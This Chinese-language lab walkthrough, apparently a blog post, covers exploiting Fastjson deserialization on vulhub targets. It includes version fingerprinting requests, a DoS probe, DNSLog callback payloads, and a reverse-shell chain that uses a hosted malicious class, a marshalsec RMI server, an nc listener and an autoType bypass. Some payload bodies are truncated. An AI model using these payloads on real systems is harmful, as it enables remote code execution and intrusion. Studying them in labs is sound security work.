Fastjson,内存马
Fastjson漏洞
判断是否使用Fastjson
本次测试以vulhub提供的版本1.2.24和1.2.45为例
-
单
{
报错1
2
3
4
5
6POST / HTTP/1.1
Host: 192.168.200.130:8090
Content-Type: application/json
Content-Length: 385
\u007B在1.2.24版本,使用非闭合的
{
会导致500报错1
2
3
4
5
6
7
8
9
10
11
12
13HTTP/1.1 500
Content-Type: application/json
Date: Sun, 20 Apr 2025 14:01:08 GMT
Connection: close
Content-Length: 161
{
"timestamp": 1745157668563,
"status": 500,
"error": "Internal Server Error",
"message": "syntax error, expect {, actual error, pos 0",
"path": "/"
}在1.2.45版本会有Fastjson版本号
1
2
3
4
5
6
7
8
9
10
11
12
13HTTP/1.1 400
Content-Type: application/json
Date: Sun, 20 Apr 2025 14:02:30 GMT
Connection: close
Content-Length: 320
{
"timestamp": 1745157750630,
"status": 400,
"error": "Bad Request",
"message": "JSON parse error: syntax error, expect {, actual error, pos 0, fastjson-version 1.2.45; nested exception is com.alibaba.fastjson.JSONException: syntax error, expect {, actual error, pos 0, fastjson-version 1.2.45",
"path": "/"
} -
使用DOS模式
- 原理:Fastjson < 1.2.60 在取不到值的时候会填充
\u001a
。 - 在请求体中写入
{"a":"\x
,会导致触发DOS,响应时间会远长于正常响应。我这边测试正常情况下是5ms响应,在触发DOS的情况下是950ms,接近1s。
1
2
3
4
5
6POST / HTTP/1.1
Host: 192.168.200.130:8090
Content-Type: application/json
Content-Length: 385
{"a":"\x - 原理:Fastjson < 1.2.60 在取不到值的时候会填充
-
dnslog回显
我这边测试的时候发现,用dnslog回显的时候,需要将数据包内字符串转换为unicode编码才可以正常回显。dnslog分为三种payload,1.2.67版本前后版本和畸形的。
-
1.2.67版本前
1
{"test":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1
2
3
4
5
6POST / HTTP/1.1
Host: 192.168.200.130:8090
Content-Type: application/json
Content-Length: 385
{"test":{"\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006E\u0065\u0074\u002E\u0049\u006E\u0065\u0074\u0034\u0041\u0064\u0064\u0072\u0065\u0073\u0073","\u0076\u0061\u006C":"\u0065\u0038\u0030\u0039\u0039\u0062\u0034\u0038\u0030\u0035\u0038\u0032\u0039\u0064\u0062\u0030\u002E\u0067\u006F\u0062\u0079\u0067\u006F\u002E\u006E\u0065\u0074"}} -
1.2.67版本后
1
2{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"} -
畸形
1
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
-
RCE方法
需要准备的内容:
- JDK8
- marshalsec工具(需要自行使用Maven编译
mvn clean package -DskipTests
) - IDEA(或其他Java IDE)
编写远程类:
1 | // Getshell.java |
编译Getshell.java(javac GetShell.java
)得到Getshell.class。在Getshell.class的目录下启动一个Web服务器,并启动一个RMI服务器加载远程类Getshell.class
1 | python -m http.server |
再启动netcat监听9999端口
1 | nc -nvlp 2333 |
1.2.24版本GetShell
发送payload
1 | POST / HTTP/1.1 |
可以看到netcat已成功GetShell
<=1.2.47前版本GetShell
1.2.24后版本加入了反序列化白名单,但在1.2.48前的版本可以通过构造特殊json绕过检测
1 | POST / HTTP/1.1 |
成功Getshell
其他版本绕过和不出网详解可以参考Java中Fastjson各版本漏洞对抗史与总结-先知社区
不出网总结
主要利用BCEL
字节码进行绕过。
- Tomecat回显
- Spring echo回显
- TemlplatesImpl Class
- ibatis组件
漏洞原理
fastjson解析客户端发送过来的json的时候,由于AutoType功能,fastjson会通过读取@type
的内容,尝试将json反序列化成这个对象,并且会调用这个类的setter方法。可以利用这个特性,构造出一个JSON字符串,使用@type
指定一个可以构造恶意利用链的类,造成远程代码执行。